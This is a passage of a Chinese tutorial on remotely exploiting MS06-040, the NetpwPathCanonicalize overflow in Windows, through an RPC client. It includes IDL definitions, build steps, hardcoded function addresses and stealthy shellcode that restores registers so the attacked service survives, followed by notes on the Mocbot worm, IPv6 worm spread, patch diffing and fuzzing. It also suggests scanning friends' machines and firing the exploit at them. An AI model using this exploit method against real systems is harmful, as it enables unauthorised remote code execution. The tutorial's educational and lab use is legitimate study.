编译运行,哈哈,享受溢出成功的喜悦吧,记住框框弹出来时的心动吧,这是我们钻研技术的源动力!
2 深入篇
——莫在浮沙筑高台
安全技术和逆向技术从来就是密不可分的,不论对CRACK还是HACK这都好比练习上乘武功前的马步。就像高手行侠仗义的威风之后隐藏着练马步的枯燥乏味,所有漂亮的exploits背后都隐藏着无数个对着寄存器发呆的不眠之夜,没有经过这般磨练就好像浮沙中的高台,不能久远。
2.1 初识,RPC的玄机
本地溢出是用来自己学习技术和原理的,真正有效的攻击是网络上的远程溢出。大家都知道MS06-040之所以这么出名就是因为这是一个可以被RPC调用远程触发的漏洞。
目前网上流行的远程溢出代码我收集到三个版本,你可以在附录资料中找到这些代码。
如果你精通网络协议,你可以自己构造数据包像附录中的exploit那样在底层模拟RPC会话进行溢出,但我还没到Matrix中operator的那种境界,看着一堆二进制串就知道Nero在里边被人菜。我们在本章后续实验中将采用Microsoft的标准RPC调用方式来触发这个漏洞。
RPC即Remote Procedure Call,是分布式计算中经常用到的技术。用MSDN里的话来讲,两台计算机通讯过程也就两种形式:一种是数据的交换,另一种是进程间的通讯。RPC就是后者。简单说来,RPC就是让你在自己的程序中CALL一个函数(可能需要很大的计算量),而这个函数是在另外一个或多个远程机器上执行,执行完后将结果传回你的机器进行后续操作。调用过程中的网络操作对程序员来说是透明的,你在代码里CALL这个远程函数就跟CALL本地的一个printf()一样方便,只要把接口定义好,RPC体系将替你完成网络上链接建立、会话握手、用户验证、参数传递、结果返回等细节问题,让程序员更加关注于程序算法与逻辑,而不是网络细节。
我们要做的是最简单的客户端RPC调用,定义好我们要调用的函数的接口文件,然后调一下目标主机的NetpwPathCanonicalize()函数,按照我们本地溢出的那样传进去精心构造的包含shellcode的字符串,那么远程主机在执行这个函数的时候就会溢出,就会执行我们的shellcode!
RPC客户端开发流程(引自MSDN)
如图7,首先应当定义远程进程的接口IDL文件。IDL就是Interface Description Language,是专门用来定义接口的语言,有过COM编程的朋友对这个东东肯定不会陌生。在这个文件里我们要指定RPC的interface以及这个interface下的function信息,包括函数的声明,参数等等。另外微软的IDL叫做MIDL,是兼容IDL标准的。
定义好的IDL文件接口经过微软的MIDL编译器编译后会生成三个文件,一个客户端stub(中文好像是翻成插桩么码桩啥的),一个服务端stub,还有一个RPC调用的头文件。其中stub负责RPC调用过程中所有的网络操作细节。
将生成的RPC头文件包含到你的代码里,把stub文件添加到工程里和你的代码一起link后,就可以call到远程机器上你指定的函数了。
具体的,我们的IDL文件大概是这样的:
========================================================================
[
uuid("4b324fc8-1670-01d3-1278-5a47bf6ee188"),
version(3.0),
endpoint("ncacn_np:[//pipe//browser]")
]
interface browser
{
……
long NetpwPathCanonicalize (
[in] [unique] [string] wchar_t * arg_00,
[in] [string] wchar_t * arg_01,
[out] [size_is(arg_03)] char * arg_02,
[in] [range(0, 64000)] long arg_03,
[in] [string] wchar_t * arg_04,
[in,out] long * arg_05,
[in] long arg_06
);
……
}
代码5: IDL代码片断,完整代码见rpc_exploit_040.idl
IDL的第一个部分是定义接口用的头,需要指明UUID和endpoint。简单说来,UUID用来唯一的指明一个接口,我们想调用的NetpwPathCanonicalize()函数在srvsvc这个interface中。这些接口的技术资料是比较少的,我是参考了samba上面windows网络编程技术资料才查到的。如果你要编写网络程序的话,你可能要经常去 http://www.samba.org上查相关的接口信息。我在samba的ftp上( http://samba.org/ftp/unpacked/samba4/source/librpc/idl/srvsvc.idl )下载了接口定义文件srvsvc.idl,里边定义了从srvsvc下的所有可以调用的函数信息。除此以外,我还整理了一些其他的RPC接口资料一并放在了附加资料中,您可以尽情享用。
值得一提的是,RPC体系在向远程接口映射具体的函数时,是按照IDL里函数定义的顺序来定位的,而不是函数的名称!看附件里的rpc_exploit_040.idl你会发现在实际用到的函数定义前,我胡乱的定义了0x1e个函数,没什么别的意思,就是为了保证我们的函数在第0x1f个。
除了IDL我还用了一个ACF文件来指定一个句柄。您可以用MIDL编译器编译这两个接口定义文件rpc_exploit_040.acf和rpc_exploit_040.idl。这个编译器被包括在VC6.0的组件里,在命令行下使用,设置好正确的路径后输入命令:
midl /acf rpc_exploit_040.acf rpc_exploit_040.idl
编译成功后,会在当前路径生成三个文件:
rpc_exploit_040_s.c RPC服务端stub(桩)
rpc_exploit_040_c.c RPC客户端stub(桩)
rpc_exploit_040.h RPC头文件
把两个stub添加进工程,头文件include上,和调用远程函数的程序一起link,你就可以试着去调用远程主机的NetpwPathCanonicalize()函数了。你可以参照下附录中的rpc_exploit_040.c代码,体会一下远程调用的感觉。
最后需要注意的是我们IDL里定义的NetpwPathCanonicalize()函数比我们在上一章本地溢出实验中使用的函数多出了一个参数arg_00。这个参数是RPC加上去的,实际上并不会传递给netapi32.dll里的NetpwPathCanonicalize()函数,在使用时别让它指向空就行了,并不影响我们的实验。
2.2 Hacking,远程攻击
看完上一节的网络编程,相信你已经迫不及待的要把我们的shellcode送到远程机器上去试一下看看能不能出个MessageBoxA了。但是首先得有一个被攻击的主机。其实我的靶机已经patch过补丁了,无奈我拆了硬盘挂在别的机器上,用备份里有漏洞的netapi32.dll替换了system32里和system32/dllcache目录下的有补丁的DLL,算是拥有了一个能够进行调试的环境。
略微修改一下上一章本地溢出中的代码,改成RPC的调用,结果靶机并没有按照我们预想的那样蹦个框框出来,而是直接系统崩溃重启了!
远程shellcode执行出错
想想怎么回事?看看提示,是services.exe出现的异常。给靶机武装上VC6.0和OLLYDBG,用OLLYDBG直接attach到service进程上,ctr+g到NetpwPathCanonicalize()的入口,按F2下个断点,这样就可以在远程机上调试了。
跟踪进去不难发现,问题出在shellcode里调用的那两个函数的地址上,我这里调试用的是XP SP2,靶机是WIN2000 SP4,不管是user32.dll还是kernel.dll都差了老远,所以要重新计算函数地址,比如在我的实验环境中:
函数名 基址(2000) 偏移量(2000) RVA(2000) RVA(XP)
Beep 0x7C570000 0x0000D4E1 0x7C57D4E1 0x7C837A77
MessageBoxA 0x77E10000 0x00003D81 0x77E13D81 0x77D504EA
ExitProcess 0x7C570000 0x000269DA 0x7C5969DA 0x7C81CDDA
在shellcode中的相应位置修改一下函数地址,赶快往外发吧!我当时在VC里点感叹号运行的时候就像星矢对波士顿射黄金箭的心情一样充满了善良美好的期望,背负了维护世界和平的重任,为了自由为了亲人为了朋友为了爱而让它运行。
结果很不幸,靶机并没有弹出我们希望的BOX,但是也没有像前面攻击失败那样搞的系统崩溃而重启。如果你有声卡连着音响的话,你应该能听到一声MessageBox弹出时那熟悉的“咚”的一声;如果没有声卡的话主板也会“嘀”一下的。用OLLYDBG跟踪调试一下,发现程序如我们设计的那样在函数返回时执行了call ecx,然后顺着shellcode执行,但到了call MessageBoxA的时候,无法返回,程序挂起了。我跟踪进MessageBoxA这个调用到最底层,大概是在获得最顶端窗口句柄的时候出的问题。不停的发溢出攻击,在靶机的任务管理器里看service.exe这个进程会不停的增加内存使用,同时也不停的“咚咚”或者“嘀嘀”。
这是为什么呢? 我觉得这个现象可以这样解释:由于我们溢出的进程service.exe是一个服务,服务是不和用户界面打交道的,在用户登录操作系统之前就已经开始在后台运行了,虽然它也加载user32.dll,但是在真正涉及到UI的时候,它甚至无法知道要把这个框框pop到哪个用户的桌面上。所以说这里我们实际上已经攻击成功了,MessageBox是踏踏实实的弹出来了,那一下“咚”或者“嘀”可以作证,系统没有崩溃可以作证。OLLYDBG调试时程序挂起应该是框框弹出来,等待鼠标点击“确定”按钮的消息,以便退出函数调用,而这个框框又不知道弹到哪里去了,显示不在桌面上,所以我们没办法点按钮,也就自然退不出函数调用了,这也解释了service.exe很有规律的不断增加内存使用的现象。
综上,结合RPC调用编程和本地溢出实验中的技术,我们已经可以让远程目标机执行任意的代码了(虽然只听到响声没看到框框)。
2.3 踏雪无痕,寄存器状态的恢复
如果你是一个真正的hacker,那么对你来说最重要的是悄无声息的控制而不是舞刀弄枪的破坏。回想一下我们的shellcode在退出时调用了exit(),如果系统服务进程service.exe 退出了会对操作系统产生什么影响?上一节中之所以系统没有崩溃是因为程序停在了MessageBoxA的调用上,等待我们去点击“确定”按钮,要是真的点上了系统不崩才怪呢。
相信能够把实验做到现在这个程度的你一定不会甘心于一个毛手毛脚的无法正常退出的攻击,这就好比做贼做的像《疯狂的石头》里那个拿榔头抢面包的哥们儿一样不够专业。专业的入侵应当“随风潜入夜,润物细无声”。下面我们就来说说怎样在溢出结束后恢复到原进程的正常执行,让shellcode做到踏雪无痕!
函数返回是通过ret时三个重要的寄存器EBP,EIP,ESP的内容来实现的,只要在shellcode结束时恢复这三个寄存器的内容,就可以让函数正常返回
看一下溢出时这几个寄存器的情况:
EBP 指向前一个调用的栈底,溢出时被我们破坏
EIP 指向函数调用的下一条指令的地址,被我们替换成call ecx的地址
ESP 指向前一个调用的栈顶,在本实验的exploit中并没有被破坏
函数调用的下一条指令地址我们可以在OLLYDBG中看到是0x7517F85B。这是DLL中代码段中的死地址,可以让shellcode的最后一条指令直接jmp过去。
EBP的恢复稍微复杂一点。虽然栈顶和栈底的地址是动态的,每次调用都不一样,但是前一个函数开的栈空间大小是一定的,这取决于函数内部变量的大小。也就是说虽然EBP和ESP的内容每次调用都不一样,但是EBP和ESP的差值在每次调用时是肯定一样的,而ESP在这里并没有被破坏掉,我们就可以通过ESP的值和栈空间的大小计算出EBP的值,并在shellcode退出前恢复这个值。
分析完了,用OLLYDBG调试几遍,看清出EBP和ESP之间的关系,就可以修改一下shellcode了。
由于调用图形函数会出问题,所以这里在shellcode里我们换一个函数调用,就是Beep()函数。这是kernel32.dll里的一个函数,它利用主板上的压电陶瓷片发声的函数,也就是说不管你有没有声卡和喇叭,它都会用机箱“嘀”的响一声的,熟悉DOS的朋友对这个函数不会陌生,那个年代声卡、音响这些东西对计算机来说还是很遥远的。这个函数有两个参数,一个指定发声的频率,一个指定发声持续的时间。如果你没用过,看下MSDN,别把频率设置到人耳朵听不到的地方去了。
最后我写出的用来让远程主机“嘀”一下并且可以正常返回的shellcode是这样的:
=======================================================================
#include
int main()
{
_asm{
mov ebp,esp
add bp,0x10 //recover ebp
pop ecx
push ebp
mov ebp ,esp
sub sp ,0x444
push eax
xor eax,eax
mov Ax , 0x444
push eax
xor eax,eax
mov Ax, 0x444
push eax
mov eax,0x7C837A77
call eax //call beep
pop eax
add sp,0x444
pop ebp
mov ecx ,0x7517F85B
jmp ecx
}
}
代码6: shellcode_beep.c
同样要注意函数地址与平台的关系。编译后提出shellcode放进前边的exploit里,剩下的就是欣赏远程的主机被我们“嘀”了!
在附件中我还给出了我找到的两个分别由EEYE和启明星辰出品的MS06-040扫描器,你可以试着找下周围有没有朋友有这个漏洞,然后就可以用我们的实验程序“嘀”他了。你也可以改一下“嘀”的音调或者“嘀”的时间,甚至根据半音之间的指数倍关系让你朋友的机器“嘀”出一首歌来,秀一下我们的研究成果,末了不要忘了善意的提示他打补丁。
到这里,本文全部的7节实验内容就全部结束了,能够实际动手一步一步跟我玩到现在的朋友一定体会到了开头的那句话的含义了吧。
To be the apostrophe which changed "Impossible" into "I'm possible"
如果你有足够的毅力和踏实的技术,在window里很多Impossible都会变成I’m possible,而这两者间往往就差那么巧妙的一撇!这一撇的巧妙正是我喜爱这种技术的根本。
3 展望篇
——山高月小,水落石出
大道不过二三四。然而在我看来,唯有跟进内存,盯着寄存器,被莫名其妙的问题反复郁闷之后最终成功的人,才有资格谈论“道”。下面就让我们拨开云雾去看看山高月小和水落石出的美景吧。
3.1 魔波,蠕虫现身!
不管是让远程的机器“嘀”一下,还是绑定command作为后门,或者磁盘格式化,这些在编程技术上是没有本质区别的。可能犇犇们的技术到了一定层次会有种高处不胜寒的寂寞感吧,就有人会写点东西让自己的程序利用漏洞在网络间自己复制传播,这就是蠕虫。
由于在XP SP2上MS06-040是不能被成功利用的,主要受害机器集中在WIN2000和XP低版本操作系统,所以受害机群较少。另外RPC调用需要使用139和445端口,这两个端口早在冲击波年代就被各大网关路由全面封杀过了,所以从网络角度讲,这次计算机风险还不致于引起拥塞瘫痪。
但是我个人认为,这次计算机风险还没有完全过去。因为蠕虫爆发时正值学校放假,可能当时影响并不大。现在高校开学,大量校园网用户无法出国更新补丁,所以仍应当提高警惕。
魔波的逆向分析我不想在这里占用篇幅了,本着学习研究提高技术的目的,我把魔波的shellcode部分放在了附件中,至于完整的代码和可执行的PE样本么,请原谅这里不方便公布,因为万一几个热血的朋友用这些资料搞出几个蠕虫变种来我可担当不起这个责任。
魔波的主要行为是开后门,把目标机变成能够被远控的“僵尸”机。这和冲击波那种纯粹以传播为目的的蠕虫小有不同。恰巧课题组有两位博士在做这方面研究,就大嘴巴替他们多说两句了。
目前蠕虫研究的主要思路是从网络行为上提取特征进行预警和控制。简单说,就是蠕虫在传播时会探测性的发出大量的扫描数据包,这会造成特定的数据包在网络中指数级的迅速增长,大量占用网络带宽。研究者通过实时监控网络情况,从网络流量中提取诸如协议种类、协议比重、流、时序等特征来进行检测。当发现蠕虫爆发时,可以根据蠕虫的传播形式建立数学模型进行预测和控制。一般在分析网络行为时会用到大量《随机过程》和《数理统计学》中的知识,比如用“隐马尔可夫链”来处理时间序列上的随机数据最近在这个领域应用的就挺火。在控制预测中一般会用“传染病”预测模型建立一套方程组给出预测和控制。如果你有兴趣,IEEE、ACM上可以找到很多paper,你不妨用EI或者SCI搜几个来看看。不过这类文章就是所谓的讲“道”的文章了,里边全是偏微分方程,基本上是见不到寄存器状态的。
另外一个比较新兴的研究领域就是在IPV6下研究蠕虫传播。从技术上讲,似乎和我们的实验还是没有质的区别,无非在shellcode中把Beep()调用换成IPV6的网络操作而已;从学术角度讲,似乎也没有大的区别,还是传染病预测理论么。其实不然:IPV4和IPV6一个重要的区别是地址空间的增加,在稀疏的地址空间里如果还像传统蠕虫那样随机扫描目标主机来感染的话,那么建立数学模型预测一下会发现,两种协议下被感染主机数量的曲线形状几乎是一样的,都是类指数曲线,但时间轴坐标会完全不同,感染进度在IPV4下是按秒和分钟来计算的,而IPV6下是XXXX年!
当然,理论上预测出的传播困难在我看来也是可以促进hack技术的进步的。下一代在IPV6蠕虫在传播技术上必需有新的创意,发现目标主机将是一个难点。随机扫描是不可取的,可以尝试别的技术和利用别的层次的协议,比如利用DNS和ARP上的主机信息去传播。
当IPV6蠕虫真的出现的时候,传播模型当然也会有很大变化,又可以涌现出许多新的学术研究成果了,真的是在攻防中共同进步啊。
这方面的资料可以参看课题组的博士刚刚在计算机学报8月安专刊上发表的文章《IPv6网络中蠕虫传播模型及分析》,他们是这方面的专家。
3.2 补丁,无洞可钻?
享受了溢出的快感之后,难道你不想看看微软补丁里究竟修改了什么吗?我在附件中给出了补丁前后的不同版本的netapi32.dll。用IDA看一下,在做长度检查时,已经由补丁前的限制0x411改成了补丁后的0x208。XP SP2的补丁前后的DLL我也给出,你们不妨也去看看有哪些变动。MS06-040中除了NetpwPathCanonicalize()还有其它问题,这里不再讨论,有兴趣的可以参考0x557上面的分析。
有钻洞的能力还要有洞可钻才行,否则补丁过后虫虫不是没有活路了。这里我想谈谈怎么挖掘0day。
0day是指能被成功利用,而微软官方并不知道或知道并未公布的漏洞。掌握一个0day,你就几乎可以所向披靡的随意hack全天下机器了。我们讨论的MS06-040在发布前无疑是一个被犇犇们玩弄于股掌之间的0day。不管是对hacker,对微软,对军方,对安全公司,0day都有很重要的意义。能够利用漏洞只是懂了一点技术的大鸟,能够发现0day的才是真正的犇犇。
其实在我们实验的基础上,把RPC溢出的代码略加改动,丰富一下IDL中的接口和函数的定义,你就可以拥有自己的RPC函数的漏洞发掘工具了。远程函数如果需要int的就给送long型,指针的就试点NULL之类的,字串的就用超长的往里塞,总之就是把所有可能引起错误的因素组合一下,一个一个的送进函数看反应。你可以编程把RPC能够CALL到的远程函数一个一个的测过去,如果发现崩溃的就用我们前面的调试方法跟进去看看崩溃的原因,结合栈和寄存器的状态确认下能不能利用,运气好了就会撞到0day啦。
从今年的《XCon 安全焦点信息安全技术峰会》上回来,有不少感慨。14位演讲者中涉及漏洞挖掘方法的就有四位。Funnyway和CoolQ在代码审计上的尝试让人看到了hacker的勇气,而Dave现场演示的RPC漏洞fuzz则直接关注于技术本身,最后来自微软的Adrian发表的对0day的看法,则强烈的激励着有志之士投身这个领域。下面就结合我个人的研究,谈谈我对这个领域的了解和看法。
其实上面谈的测试0day的方法就是工业界目前普遍采用的fuzz方法。Fuzz实际上就是软件工程中的黑箱测试。你可以对协议,对API,对软件进行这样的fuzz测试。fuzz方法的优点是没有误报,尽管可能有些运行错误并不能被成功利用;缺点是你无法穷举所有的输入,就算fuzz不出问题也无法证明一个系统是安全的。
学术界则偏向于用算法直接在程序的逻辑上寻找漏洞。这方面的方法和理论有很多,比如数据流分析,类型验证系统,边界检验系统,状态机系统等。这种方法的优点是可以搜索到程序流程中的所有路径,但缺点是非常容易误报。
半年前我曾经研究过一段时间代码级的漏洞挖掘,用的方法大概也是上面列出的这些静态分析技术,并且实现了一个分析PHP脚本中SQL注入漏洞的挖掘工具的demo版本。研究过后深深觉得代码的静态分析理论要想在工业上运用还有很长的路要走,突出的问题在于大量的误报。个人认为,所有这方面理论都面临同样一个棘手的问题:就是在处理程序逻辑中由动态因素引起的复杂的条件分支和循环时,静态分析的天然缺陷。静态分析算法要想取得实质性的突破必须面对“彻底读懂”程序逻辑的挑战,这在形式语言上实际涉及到了上下文相关文法,而编译理论和状态机理论只发展到解释上下文无关文法的阶段。
如果代码静态分析技术真的在文法的解释上有所突破,那么从数学上证明一个软件没有缺陷将成为可能!这种进步不光是在漏洞挖掘上的进步,更重要的是计算机背后的形式语言和逻辑学的飞跃——这可能将是能和莱布尼兹、歌德尔、布尔、图灵、冯诺伊曼那一票逻辑大师的贡献相媲美的成就——乔姆斯基的文法体系出台后的这50多年里,虽然编译理论和技术蓬勃发展,但时至今日,计算机能“读懂”的语言始终局限于上下文无关文法。展望一下计算机能处理上下文相关文法甚至图灵机的那一天将会是一副什么样的美景吧:VC编译的时候不用运行就会告诉你哪里有死循环、哪里内存泄漏、哪里的指针在什么情况下会跑飞……编译器不只会检查语法问题,还会检查逻辑问题,软件工程中不论开发还是测试的压力都将大大减轻,整个计算机工业体系都将产生一次飞跃,当然我们的漏洞发掘工具也更智能——只是真的有那一天hacker们可能都要下岗了:)